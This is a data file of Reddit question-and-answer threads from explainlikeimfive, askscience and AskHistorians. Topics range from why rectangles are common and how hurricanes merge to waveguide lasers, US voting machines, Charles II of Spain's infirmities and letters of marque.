{"q_id": "5rrayz", "title": "why are there so many rectangles all around us?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5rrayz/eli5_why_are_there_so_many_rectangles_all_around/", "answers": {"a_id": ["dd9ivhn", "dd9j1tx", "dd9kylq"], "score": [10, 2, 8], "text": ["Generally speaking they're easier to design, and, especially in buildings- they are much easier to construct for several reasons: the math is easier (you don't have to mess with pi); the measuring is easier; standard boards and construction materials themselves are usually straight and flat (making it harder to build curved things with them); rectangles are an efficient use of space, and they are strong enough to suit most purposes effectively.", "I'd say it is just due to saving space. A rounded doorway is the same as a rectangular doorway, except for all of the extra, useless space it takes up.\n\nOval cabinets are the same as rectangular cabinets, except the opening isn't as forgiving when you try to fit a large toaster oven into it.\n\nStraight lines allow for the utilization of space in an efficient way. You can fit a rectangle into almost any shape and it be just as efficient.\n\nThe straight lines aren't limited to just rectangles, though.  Squares get a lot of attention,  too.", "Rectangles are one of very few shapes that let you easily cut material into smaller pieces with no waste. If you cut a circle out of a large sheet of material, you're guaranteed to have odd bits left over that can't be made into circles. But if you cut a rectangle, the remainders are all rectangles too.\n\nRectangles combine beautifully. A rectangular room is easily filled with multiple pieces of rectangular furniture, rectangular tile, rectangular wallpaper, etc. Rectangular objects can fill a shelf nicely with no plan or coordination, even if the rectangles aren't equal.\n\nRectangles have the useful property called *orthogonality:* that the dimensions don't interfere with each other. If you make a a rectangle taller, that doesn't need to affect its width at all. Circles and hexagons and trapezoids, for example, don't have this property.\n\nBear in mind that circles (and their 3-D cousins, spheres) are also special and common, but for completely different reasons."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "zgo3r", "title": "What would happen if two hurricanes merged?Hurricanes Leslie and Michael are getting pretty close to each other in the mid-Atlantic.", "selftext": "The NHC at NOAA has the storms' tropical storm wind speed maps partially merging:\n\n_URL_0_\n\nWhat would happen if both storms merged into one? Would the wind speeds compound? Would they most likely counteract each other and fizzle out? Would it just be a giant, otherwise normal, hurricane?\n\nI'm not a meteorologist, just a curious sailor.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zgo3r/what_would_happen_if_two_hurricanes/", "answers": {"a_id": ["c64fvmg"], "score": [7], "text": ["Note that those maps are probabilities of a given wind speed from *either* storm, and Leslie and Michael are not expected to merge at this time.\n\nHowever, there is nothing which would prevent two storms from merging (this actually happens quite often with non-tropical storms). By the nature of what is known as the [Fujiwhara effect](_URL_1_), two tropical cyclones left to their own devices near each other will circle around each other and eventually merge. However, due to the influence of other weather systems, this rarely happens.\n\nThe exact scenario by which two storms would merge, and the character of the resulting storm, is quite unpredictable, and would depend on the exact nature of the original storms and the surrounding environment. The one thing that will almost always happen is that the storms will spin around each other in a cyclonic manner (counter-clockwise in the northern hemisphere, clockwise in the southern hemisphere).\n\n* In 1994 [Typhoon Pat](_URL_0_) and Tropical Storm Ruth completed a full orbit around each other before merging. The resultant storm lost organization for a while, but regained strength later.\n\n* In 1995 [Hurricane Iris](_URL_3_) absorbed the smaller and weaker Tropical Storm Karen, which caused little change in Iris's intensity due to it being dominant and in a neutral environment for strengthening. During the merger, Iris was dragged east and south by the interaction, even though Karen was a much smaller storm.\n\n* In 1998, [Cyclone Susan](_URL_4_) merged with Cyclone Ron shortly before dissipating, but this dissipation was due to both storms moving into an unfavorable environment, so it's tough to say what the effect of the merger was.\n\n* In 2005, [Hurricane Max](_URL_2_) (still a tropical storm at the time) absorbed Tropical Storm Lidia, even though both were around the same size and Lidia was the older storm.\n\nThose are the cases I know of where two mature storms have merged, though many other storms have undergone a Fujiwhara interaction, causing them to orbit each other slightly. The merger causing the dissipation of both storms seems like an unlikely, since the storms will be spinning in the same direction and angular momentum is roughly conserved, so one storm will always remain. Beyond that, it's really impossible to tell what exactly will happen to the resulting storm, as it will depend on how favorable the surrounding environment would be in the first place."]}, "title_urls": [], "selftext_urls": ["http://www.nhc.noaa.gov/storm_graphics/AT13/refresh/AL1312_PROB34_F120_sm2+gif/144003.gif"], "answers_urls": [["http://en.wikipedia.org/wiki/1994_Pacific_typhoon_season#Typhoon_Pat", "http://en.wikipedia.org/wiki/Fujiwhara_effect", "http://en.wikipedia.org/wiki/2005_Pacific_hurricane_season#Hurricane_Max", "http://en.wikipedia.org/wiki/Hurricane_Iris_%281995%29", "http://en.wikipedia.org/wiki/Cyclone_Susan"]]}
{"q_id": "543qvb", "title": "What are the advantages of solid state waveguide lasers over diode lasers?", "selftext": "I've been hearing a lot of talk about waveguide lasers in the past years, but in what cases are they better than diode lasers? You need a diode laser to pump them anyway, right?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/543qvb/what_are_the_advantages_of_solid_state_waveguide/", "answers": {"a_id": ["d7ysys9", "d7ytdzm"], "score": [3, 8], "text": ["Diode lasers are all waveguide lasers; the resonant cavity has (hopefully) a single mode which can propagate out. It's a waveguide. But the exit mirror could be coupled straight into a waveguide flange or fiber. It depends on the frequency of the laser transition and what the photons are for.\n\nDo you want maximum intensity? A small beam waist? A long coherence length?\n\nYou could pump a ZnTe crystal with a green laser to exploit the nonlinearities and generate a IR/THz beam. Keeping everything (pump, crystal, mode locking mirror/positioning stage, parabolic s etc) close reduces losses. You could integrate Q switching or a comb generator. That sort of thing.", "Most lasers have a cavity like [this](_URL_4_), where light passes through the gain medium a bunch of times in order to be amplified. Inside the cavity, the light is concentrated in some areas due to divergence. In contrast, a [waveguide laser](_URL_1_) constrains the light to travel along the waveguide: it's prevented from diverging, and the intensity is uniform across the gain medium.\n\nThere are a few benefits to this, and they all have to do with the fact that the whole gain medium is experiencing the same intensity. \n\n1) Waveguide lasers make the best use of the whole medium instead of just the part where the light is brightest (i.e. they're more efficient in some sense), so you can get the same brightness with less power or less gain medium. Traditional lasers have problems with [spatial hole burning](_URL_0_), where the excited electrons in part of the medium get depleted before others, which sets a limit on intensity.\n\n2) In traditional lasers you can excite [nonlinearities](_URL_3_) in the gain medium if the intensity gets too high. We sometimes want that and sometimes don't, but we *never* want it to happen in only *part* of the gain medium. Waveguides let you have much finer control over nonlinearity.\n\n3) Similarly, heating of the gain medium causes problems that effectively limit the output power of a laser (it can break if the intensity gets too high, and you can also get [thermal lensing](_URL_2_)). Waveguide lasers are less susceptible since heating occurs evenly over the gain medium.\n\n4) Since optical devices tend to use waveguides anyway, waveguide lasers are easier to integrate into existing technologies than some other types of lasers (but not really diode lasers, which are also quite easy).\n\nThere are also a couple of drawbacks to waveguide lasers:\n\n1) Waveguides are not perfect - light escapes them or is absorbed by the medium and dissipated as heat. This would not be a problem in, say, a HeNe laser.\n\n2) Right now they're still fairly expensive/difficult to manufacture. The gain medium and cavity have to be free of defects, and the larger you make the waveguide the harder that is to accomplish.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.rp-photonics.com/spatial_hole_burning.html", "https://www.rp-photonics.com/waveguide_lasers.html", "https://www.rp-photonics.com/thermal_lensing.html", "https://en.wikipedia.org/wiki/Nonlinear_optics", "http://www.aml.engineering.columbia.edu/ntm/level1/ch02/images/lasersys.gif"]]}
{"q_id": "9uov0l", "title": "why voting in the us at a polling site requires a \"voting machine\" but absentee ballots can just be filled out with a pen/pencil?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9uov0l/eli5_why_voting_in_the_us_at_a_polling_site/", "answers": {"a_id": ["e95t1sj", "e95vayy", "e960py1", "e96592d", "e966maq", "e966pxq", "e967mxt"], "score": [94, 7, 4, 5, 8, 2, 2], "text": ["I think it's the same form either way.   When you send in your absentee ballot, they just put it in the machine at their office, versus you doing it yourself at the polling place on election day.   \n\nAbsentee ballots are a very small percentage of the total votes cast so it's not a big problem considering they are returned over multiple days/weeks.   Many places have started early voting and that makes things much easier.   I highly recommend it.", "Depends on where you are, but where I live, the machines just read the ballots. Kind of like when you were in school and the teacher used a ScanTron machine to quickly grade the multiple choice tests where you filled in the bubbles with pencil.", "My polling place does in fact use the bubble sheets.  Different places use different things.  The polling place nearby mine that I went to once before I moved used lever voting machines last time I went there.  \n\n\nI personally think that touch screen machines are a bad idea, though.  Touch screen often become uncallibrated and think you touched one area of screens instead of another.  Every election, people show videos of the machine deciding people voted for the other candidate instead of the one they were trying to vote for.  People always assume it's some kind of cheating (and I've seen it from both parties perspective) but the technology simply messes up sometimes which is not something that should happen during voting.  \n\n\nI like the bubble sheets the best.  Accurate, less chance for a mistake, and a paper record if you need to verify the results.", "While it varies widely from state to state and county to county, absentee ballots primarily use a technology called optical scan. Much like the tests you used to take in high school. They feed them through a large machine once they arrive and that tabulates the results. The machine spits out any irregularities for an eyes-on look. \n\nFor physical polling places, again varies widely depending on your location. Some counties tabulate right then and there via a similar optical scan while some are still punchcard systems that get collected and tabulated later by elections officials. Counties with high budgets go to the new computerized systems at polling places. All depends on the budget. \n\nUltimately it comes down to your county election office and what they are budgeted for. Elections are insanely expensive. Your average rural county can sometimes spend millions per year to maintain an election department and run multiple elections per year. ", "Real answer? Because a few companies have cronies who work in government and they make a lot of money by running those machines. ", "We have mail in ballots but a concern that has been happening here is since we have a proposition allowing medical marijuana on the ballot, a lot of people with signs in favor for the proposition are getting ballots stolen from their mailbox. I live in Utah so I'll let you figure out who is stealing the ballots. I'm just going to vote in person, I then know for sure my vote is counted. ", "I've only ever had bubble sheets, when your done there's a machine next to the door that sucks up your ballot.\n\nMany years back I saw a mechanical voting machine, go in close the curtain, insert a punch card and pull levers and slides to vote then put the punched card in the ballot tabulation machine.\n\nI've heard of all manner of electronic voting machines and they should all be trashed. Not secure.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "e4n8k7", "title": "differences and similarities between caffeine and nicotine", "selftext": "I\u2019ve often heard people compare nicotine to caffeine, as vaping and nicotine use are becoming more common due to carrying less risks than tobacco use. The argument I know of is that, like caffeine, nicotine can be beneficial, without carrying the risks of smoking.\n\nI\u2019m curious about how it all began and I want to be more informed and understand the argument. How do the two substances affect the body and what are their differences and similarities?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e4n8k7/eli5_differences_and_similarities_between/", "answers": {"a_id": ["f9dud5z"], "score": [33], "text": ["No amount of nicotine is good for you. It is nerve toxin even if we remove the smoke part of tobacco. One can argue that it is worth it for the cognitive boost it does give. It most important function is releasing dopamine that makes us feel better and is part of the reward system that gives that good feeling for ex when you finish a task.\n\nCaffeine blocks adenosine receptors which are responsible of you feeling tired and sleepy. You will also get slight increase in adrenaline and dopamine. Caffeine is much less harmful for us but it is debatable if any amount is healthy for us. Its toxicity is far off from nicotine which can be used as very effective pesticide in quite dilute solutions effectively (1-2% nicotine solution with little bit of detergent will be deadly for most insects). Neonicotinoids are further developed from nicotine and are one reason for insecticide and bee deaths. They are banned in EU for various reasons. I am not aware of any caffeine related pesticides, not that it is of any proof but it kind of tells one fundamental difference between those two.\n\nPeople who say that caffeine and nicotine are both as harmless are lying or are very ignorant. Most likely, if it is vapers who say it, they are trying to justify their own nicotine use and are either actively or accidentally fooling themselves. Everyone can make a decision to use nicotine products but at least they should be fully aware of what they are doing. I use both of those substances myself (much less nicotine, quite a lot of coffee, i'm a Finn...so about 12kg a year..) so i'm not saying these things just to demonize nicotine but you need to know that it is not good for you and its effects will be diminished over time: you will more or less return to normalcy after getting your nicotine fix if you are addicted to it. Nicotine is VERY addictive, it hijacks the reward system while the noticeable effects are on par with coffee. In a list of addictive substances, nicotine is right after heroin, cocaine and benzodiazepams."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "132v8b", "title": "semiotic analysis.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/132v8b/eli5_semiotic_analysis/", "answers": {"a_id": ["c70g0j3", "c70op2o"], "score": [3, 2], "text": ["When we see a sign, we often know what it means even though it doesn't look exactly like the thing it's supposed to look like (think about a street sign with pictures - do all cars look exactly like the car on the sign?). Also, some things can make us feel different feelings - maybe you feel relaxed looking at the blue sky, or angry at the red light.\n\nSemiotics is the way we think about all these 'rules' - how do we know the picture is of a car? Why does red make us feel angry? By studying these rules we can make decisions that help people. We make all the hot taps red to avoid people getting burnt. We use cartoons to demonstrate safety steps in airplanes. We compare things you might want to buy to other things you like.\n\nAs you can see, semiotics is a very big idea. With lots of study and practice, you can use semiotics to help make the world a better place.", "Think of a traffic light. Red means stop,  amber mean slow down and green means go. There is no physical reason why each of those colors mean what they do. Its all made up by society, like a language. \n\nSemiotics is the space between the \"thing\"  and the \"meaning\", how the meaning is made and why the \"thing\"  was chosen. So a semiotic analysis of the traffic lights would discuss why the colors are red, amber and green means stop, slow down and go \n\nSemiotics gets pretty deep as some writers have even talked about the meaning of meaning. \n\nThis is the simplest way I can described semiotics without getting too involved in philosophy and language. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2rheeb", "title": "i found a weird subreddit. what is this exactly?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2rheeb/eli5_i_found_a_weird_subreddit_what_is_this/", "answers": {"a_id": ["cnfwaa9", "cnfwfql"], "score": [4, 5], "text": ["Reminder to commenters: ELI5 is for serious explanations. \n\nAnd trust us, you aren't the first one to be clever enough to post a bunch of the letter \"g\" as a response.", "It's simply a subreddit devoted to the letter G, for fans or hobbyists. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6hlcjh", "title": "How mentally deficient was Charles II of Spain?", "selftext": "It's often said that Charles II was mentally ill and incompetent. But I can't find more specifics. How would you describe his mental health?\n\nWould he be on par with someone with a lower than average IQ? Did he suffer from mental retardation? \n\nIt also sounds as if he had other mental health issues aside from a low IQ. Is this true?\n\nIt just baffles me that, from what I do read, that someone like him could be king at all (even though I know he did a very bad job at it and often relied on his mother). The way people talk about him, and how inbreeding made him completely messed up and mentally incompetent, it seems weird to me. Because people seem to describe him as if he had no train of thought at all and couldn't function. Do you think he would have been someone who could actually hold a conversation, even if he was dumb as a brick?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6hlcjh/how_mentally_deficient_was_charles_ii_of_spain/", "answers": {"a_id": ["dizf2bp", "dizgokb", "diztzpu"], "score": [1003, 55, 13], "text": ["Carlos II ruled in what was a very trying time for the Spanish Habsburg monarchy. The rule of his father, Philip IV, had lurched from disaster to disaster during the latter part of his reign. Although Spain was a global power at the start of the seventeenth century, there was an increasing perception within the Spanish elite that Spanish power rested on a highly precarious foundation. The efforts of Philip IV's chief minister, the Count-Duke of Olivares, to right the Spanish ship of state came to naught in the many disasters of 1640. Olivares's main concern was to create a \"Union of Arms\" which would bind all the important components of the Habsburg dominions in a common purpose. \n\nIn this period, Spain itself was not really \"Spain\" but rather what the eminent historian of Spain J. H. Elliott termed a composite monarchy. The Habsburg family ruled a complex entity of separate kingdoms and principalities like Aragon, Castile, Portugal, or Navarre. In exchange for local privileges, the nobility and elites of these regions delegated to the Habsburgs a degree of executive control. This tension between the Habsburg center and its various dominions had been a consistent problem for the Habsburgs with periodic revolts in defense of local privileges being quite common. Olivares's Union of Arms exacerbated these tensions, culminating in two major revolts in Portugal and Catalonia in the 1640s. Both revolts were long and protracted with the Portuguese revolt being successful. These revolts came on top of Spanish military reverses in the Low Countries and Italy and a resurgent France under the new Bourbon dynasty. Moreover, the Olivares regime had proven woefully unable to manage the Spanish economy, leading to massive inflation.  \n\nWithin this context of persistent defeats and setbacks, the febrile and inbred Carlos II in 1665 posed something of a dubious benefit to Habsburg power. The *infante* had difficulty speaking at an early age and his deformed jaw was an impediment to his speaking. The result of his lack of education and infirmities was that he often repeated his counselors' advice and seldom deviated from them. This tractability counter-intuitively helped stabilize Spain.  After the disastrous results of Olivares's efforts at reform, few of Spain's elites had much stomach for any wide-reaching program of economic and political initiatives aimed at centralizing Habsburg power. A more energetic monarch might have been tempted to try and enact needed reforms after the disastrous 1640s, but the lesson of Olivares was that such reforms often ran counter to the entrenched interests of the Spanish grandees. After reaching his majority, Carlos II's infirmity led to him often delegating authority to royal favorites. Within the complex politics of the court, various power centers arose around different figures. Carlos II's mother, Mariana of Austria, and her favorite Fernando de Valenzuela, were leaders of an early faction, but they increasingly locked horns with a faction led by Philip IV's bastard son, John of Austria. \n\nThis factionalism based upon royal favorites had been part and parcel of Spanish royal politics since the accession of Carlos I/V in the sixteenth century, but the Carlos II's infirmity led to a formalization of the process of delegating authority to a *valido* (favorite). Valenzuela was arguably Spain's first true Prime Minister as he possessed formal legal authority to attend conferences of the various executive components of the Spanish government. this was something quite different that the rather nebulous positions of *Validos* like Olivares or the Duke of Lerma (Philip III's *Valido*) whose exact function and place in the machinery of government was unclear. Older historiography of Spain tended to emphasize that the Spanish factionalism reached its apogee under Carlos II and its patronage system further sapped Spanish power, but recent work by Christopher Storrs has contended that despite the viciousness of domestic infighting, these factions often tried to rule responsibly when they had achieved power. These factions often tried to manage Spain's decline and preserve whatever power it had left abroad and within Spain itself. For his part, Carlos II was deeply affected by his father's will, which charged him to preserve Habsburg power. To a certain degree, Carlos II was successful in this regard. Habsburg authority remained intact in Catalonia, Aragon,  Castile, and in its overseas dominions. This was a far cry from the 1640s when it seemed like the entirety of the Spanish Empire was coming apart at the seams. However, Carlos II's various governments were never able to eliminate the power of local grandees, which imposed a limit upon the ability of the crown to raise resources and mobilize Spanish power. So while Spain's geostrategic power did not significantly diminish under Carlos II, it could not expand either. This cemented a perception within Europe that Spain was a declining power and the Carlos II's infirmity did little to change this opinion.   \n\nAs for Carlos II's inbreeding, this extreme case of a near circular family tree was the byproduct of dynastic accident and geostrategic timing. The Habsburgs had inherited Spain by chance with the timely death of Ferdinand and Isabella's only surviving son Prince John in 1497 and eldest daughter Isabella in 1498. The royal line then fell to Juana I, who had been married to the Habsburgs, who were the emperors of the Holy Roman Empire and rulers over the Low Countries. Juana's son, Carlos I (also known as Charles V), was both King of Spain and Emperor of the HRE, but this global empire was too much for a central figure to administer, and Carlos I divided his patrimony with his son Philip II ruling over Spain and the Low Countries while his brother would head the HRE. This created a split between the Habsburg line with the Austrian and Spanish branches of the family heading distinct political entities. Marriage between these two branches was a means to ensure a renewal of common purpose and shared geostrategic interests. The Spanish Habsburgs alternated between matches with France and Austria. The advent of Protestantism further complicated matters as not only did it eliminate an alternative great power, England, as a marriage match, but the needs to preserve Catholicism in Central Europe pushed for more matches between the two branches of the family. While many European monarchs were aware of this interbreeding, the Habsburg jawline entered into public knowledge, the deleterious effects of this interbreeding were not immediately apparent until Carlos II. Philip IV had married  Elisabeth of France, but he intended to marry his son Balthasar Charles to his niece Mariana of Austria. But the untimely death of both his son in 1646 and French wife in 1644 meant that Philip needed an heir and war with France prevented him from another French match. So Philip IV married his own niece, Mariana, and the result of this union was the ill-begotten Carlos II in 1661 (for an interesting paper on Habsburg genetics- [see here](_URL_0_) ). Carlos II's various infirmities were apparent at an early age, but the fact that he was the only surviving legitimate male heir to Philip IV meant that the court elite had little choice but to accept him as ruler. In this case, the need for stability and certainty trumped the desire for an energetic ruler. The hope was that Carlos II could produce an heir with first the French Marie Louise of Orl\u00e9ans and later Palatinate princess Maria Anna of Neuburg, but it is likely that Carlos II was sterile because of his inbreeding.     \n\nThe popular attention today devoted to exploring the grotesqueness of Carlos II's inbreeding often misses the forest for the trees in what how inbreeding brought about the end of the dynasty. The Habsburg system of governance was able to mitigate much of the problems Carlos II's mental problems created. The Spanish court etiquette and protocol had become so staid since Philip II that a mentally-deficient monarch could be worked around. The bigger problem for the Habsburg monarchy that inbreeding created was sterility. While the Spanish system could handle an inbred monarch, a monarch without a clear heir was something different all together. \n\n*Sources*\n\nElliott, J. H. *Imperial Spain, 1469-1716*. New York: St. Martin's Press, 1964. \n\n_. *Spain, Europe  &  the Wider World, 1500-1800*. New Haven: Yale University Press, 2009.\n\nLynch, John. *The Hispanic World in Crisis and Change, 1598-1700.* Oxford, UK: Blackwell, 1992. \n\nStorrs, Christopher. *The Resilience of the Spanish Monarchy, 1665-1700*. Oxford: Oxford University Press, 2006.\n     \n\n", "You may be interested in this [previous question](_URL_0_), which provides sources on Charles II's modern diagnosis of, among other things, Combined Pituitary Hormone Disorder, which can impact cognitive functioning. A brief review of the literature on cognitive impairment in Combined Pituitary Hormone Deficiency turned up a 2016 study which found cognitive abilities in affected adults to be in the range of 46-116, suggesting that for at least some severely affected adults, cognitive functioning could be in the Moderate Mental Retardation range. The mean total IQ score was 81, which is in the Low Average range. Of course, these are modern categorizations and it is impossible to conclusively forensically evaluate Charles II. \n\n\nSources: Warmuz-Stangierska, I. et. al (2016). Cognitive function in patients with childhood-onset combined pituitary hormone deficiency not treated with growth hormones. Journal of Medical Science, 85(3). _URL_1_\n\nAmerican Psychiatric Association. (2013). Diagnostic and statistical manual of mental disorders (5th ed.). Washington, DC: Author.", "To tag onto this question. A lot of what I've read about Charles I/V says that the people caring for him did not make him attend any type of schooling for fear it would 'over tax' him. \n\nI feel like this would have effected a lot of how mentally deficient he was viewed, because it seems like he was a mix of someone who was not completely in control of his mental faculties, but also extremely uneducated and indulged as a child. \n\nAm I on the right track with this kind of thinking? As a parent, this makes me think that he would have been pretty much a spoiled brat king and was hindered immensely by the decision to not have him attend school or learn self care items. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0005174"], ["https://www.reddit.com/r/AskHistorians/comments/17u4r3/what_exactly_were_charles_ii_of_spains/", "https://doi.org/10.20883/jms.2016.116"], []]}
{"q_id": "409bvm", "title": "why do my finger tips occasionally feel like they get no traction/grip, like they're more smooth than normal.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/409bvm/eli5_why_do_my_finger_tips_occasionally_feel_like/", "answers": {"a_id": ["cysg7x1", "cysohj1"], "score": [38, 2], "text": ["the majority of the time it is just because your hands are dry. Throughout the day, you hands naturally get some oils etc... on the surface that help you get a better grip things like paper.\n\nThat's why you often see people lick their finger or thumb to turn a page on a book.\n\nDry hands like this can be caused by things like taking a shower, washing your hands etc... Also the air is usually drier in the winter which doesn't help.\n\nTo prevent this you could maybe just use some moisturizing hand lotion.", "I can't answer your question, but for me, when this feeling occurs, my hands immediately become sweaty. Even thinking about sweaty hands makes my hands damp. Reading this post made my hands damp.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "23lser", "title": "Since all life evolved from a common ancestor, does that mean that life began only in a single location on the planet? Did multiple \"trees of life\" compete early on across the globe with the one that exists today ultimately winning out?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/23lser/since_all_life_evolved_from_a_common_ancestor/", "answers": {"a_id": ["cgya15o", "cgyn70q"], "score": [23, 2], "text": ["This way out in hypothetical zone. There are excellent viable ideas on how life first came about, but we simply don't have the data to do much more than speculate as to the exact \"how's\" here. The short answer is: \"we don't know, but we can make educated guesses.\"\n\n > does that mean that life began only in a single location on the planet? \n\nAs far as we know, yes. \n\nAll life that exists today (again, as far as we know) shares a single common ancestor that was almost certainly restricted to one geographical area at some time.\n\n > Did multiple \"trees of life\" compete early on across the globe with the one that exists today ultimately winning out?\n\nAlmost certainly, minus the \"compete\" bit. But don't start imagining whole big ecosystems of forests and coral reefs and such...these other \"trees of life\" probably consisted of stuff that was maybe barely bacteria. At the most. \n\nThey probably didn't directly compete, but instead either flourished or (much more commonly) did the opposite of flourishing in their own little microcosm. \n", "The tree-like nature of life is now thought to be \"web like\" for early single cell organisms. So the whole \"common ancestor\" thing breaks down well before the origin of life itself. Even structures like RNA may have arose when a bigger one cell creature \"absorbed\" another.\n\nAnd once you start talking about the **origin** of life, leave the word \"evolution\" out of things. You're dealing with chemistry at that point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "18oqp4", "title": "What was the largest society with a gift economy in history?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18oqp4/what_was_the_largest_society_with_a_gift_economy/", "answers": {"a_id": ["c8gmyrm"], "score": [2], "text": ["There are few examples of *pure* gift economies outside the Pacific and Central America, but the Roman system of [patronage](_URL_0_) strikes as a system of gift exchange on a large scale that actually worked pretty well. Phebe Lowell Bowditch of the University of Oregon wrote a book about this, *Horace and the Gift Economy of Patronage*, based on the writings of the late 1st-century poet.\n\nPartial gift exchange systems are more common. The scientific community, open-source software, filesharing, and much of the internet (Reddit not excluded) are part of an information-based gift economy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Patronage"]]}
{"q_id": "3coh2y", "title": "History of \"Letters of Marque and Reprisal\" in the US", "selftext": "1. What is the full scope of this clause? does it just refer to privateering (state sanctioned piracy) on the high seas? Are letters of Marque and letters of Reprisal two different things (and why haven't i heard about the second?) or does it all refer to one thing?\n\nWhat is the history of the use of these letters? i know they were used in 1812 and the am revolutionary war but i know no specifics. Were they used after this? have they been outlawed by international treaties and across the world when did this process die out? \n\n2 more quick questions: 1. did letters of marque and reprisal come up in the debate over iran contra/would it apply? \n\n2. the internet (quick googling) tells me the us considered issuing letters of Marque during andrew Jackson's presidency. Why?\nall a quick reddit search got me was a 9 month old question answered with a wikipedia link.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3coh2y/history_of_letters_of_marque_and_reprisal_in_the/", "answers": {"a_id": ["csxrd98", "csxw5s2"], "score": [3, 4], "text": ["I don't know as much as I'd like about their use in the U.S. specifically, but I can answer some of your questions: \n\n >  What is the full scope of this clause? does it just refer to privateering (state sanctioned piracy) on the high seas? \n\nPrivateering is what is covered, yes. The idea is that the federal Congress is the only group that can issue letters of marque or reprisal, which are two types of what, for simplicty's sake, we'd call legalized piracy.\n\n >  Are letters of Marque and letters of Reprisal two different things (and why haven't i heard about the second?) or does it all refer to one thing?\n\nThey are somewhat different things, although usually a single document would be called \"a letter of marque and reprisal.\" I can't speak to why you haven't heard of the second, but a brief explanation of the differences is: \n\n* A letter of marque authorizes a private ship's captain and crew to attack enemy ships in time of war, whether civilian or military. \n\n* A letter of reprisal is somewhat distinct, in that it allows a private citizen to capture property in reprisal for an injury done to them (in other words, let's say a Spaniard captures some of my wine; I can then apply for a letter of reprisal and legally capture equivalent goods from a Spanish ship, not necessarily the one that captured my stuff). \n\n >  i know they were used in 1812 and the am revolutionary war but i know no specifics. Were they used after this?\n\nThe US did not issue letters of marque after 1815. \n\n >  have they been outlawed by international treaties and across the world when did this process die out?\n\nThe Paris Declaration Respecting Maritime Law of 1856 abolished using letters of marque. They were briefly brought up again in the U.S. after the 9/11 terrorist attacks, but discussion of that won't be appropriate here due to our 20-year-rule. ", " > What is the full scope of this clause? does it just refer to privateering (state sanctioned piracy) on the high seas? Are letters of Marque and letters of Reprisal two different things (and why haven't i heard about the second?) or does it all refer to one thing?\n\nletters of marque and reprisal were extremely common in the age of sail.  in an era with relatively weak states and (relatively) inexpensive ships, it was an absolutely integral part of most countries' naval strategy to use privateers to disrupt enemy commerce.  fyi, don't ever conflate \"privateering\" with \"piracy,\" because the two are totally legally distinct.  \n\nthe granting of a letter of marque means that the holder is acting on behalf of the holder's government.  under the laws of war at the time, a privateer was a *warship* acting under a well-established legal regime.  the letter of marque limits the privateer to attacking enemy ships, and any vessel captured would have to be taken back to port for an admiralty court to decide how much prize money the privateer would make from the capture. for example: if you're an american privateer, and america is at war with britain, you can only attack british ships-- and any captured vessels have to be returned to american courts to claim your reward.  jean and pierre lafitte, american heroes of the battle of new orleans in 1815, fell into this category.\n\npirates, on the other hand, were the enemies of all, answered to no government and no law, and were liable to being chased down and summarily executed if ever caught.  \n\nthis line often was blurred during the anarchy of latin american wars of independence, however-- it was easy to fake a letter of marque from one of the many of new latin american states.  (this ultimately led to the lafitte brothers' downfall, when it was discovered that jean lafitte was sailing under a forged letter of marque.)  see william davis, the pirates lafitte.\n\n > What is the history of the use of these letters? i know they were used in 1812 and the am revolutionary war but i know no specifics. Were they used after this? have they been outlawed by international treaties and across the world when did this process die out?\n\nthere are two reasons why they died out.  first, as warship technology advanced, it became much more difficult and expensive for privately-funded commerce raiders to be effective.  in 1775, it was a quite feasible to convert a merchantman or an obsolescent warship into a serviceable, profitable commerce raider, but by 1861 it was no longer profitable.  the confederate states learned this the hard way.  because privateers had to bring their prizes to a court to get paid, confederate privateers had to run the federal blockade to get their prizes in, and run the same blockade to escape once again. blockade-running is dangerous business, and ordinary merchantmen (which were the usual types of prizes) were too slow and too big to be effective.  making matters worse, because privateers were lightly armed and designed for speed, they were generally no match for federal warships when it came to a fight.  (for that matter, purpose-built confederate naval cruisers were no match for federal warships. the uss kearsarge blasted apart the css alabama in the battle of cherbourg in 1864 and it wasn't even close.)\n\nsecond, as a legal matter, the great powers of europe adopted the paris declaration in 1856, outlawing privateering.  the united states never became party to the paris declaration, but the federal government during the civil war agreed to abide by its principles.  see james mcpherson, war on the waters.\n\n > did letters of marque and reprisal come up in the debate over iran contra/would it apply? \n\nno.  the u.s. federal government has adopted the principles of the paris declaration even though it isn't a signatory, and it hasn't issued letters of marque since before the civil war.\n\n > the internet (quick googling) tells me the us considered issuing letters of Marque during andrew Jackson's presidency. Why?\n\nthis i have no idea about.  there was no war going on during jackson's presidency."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
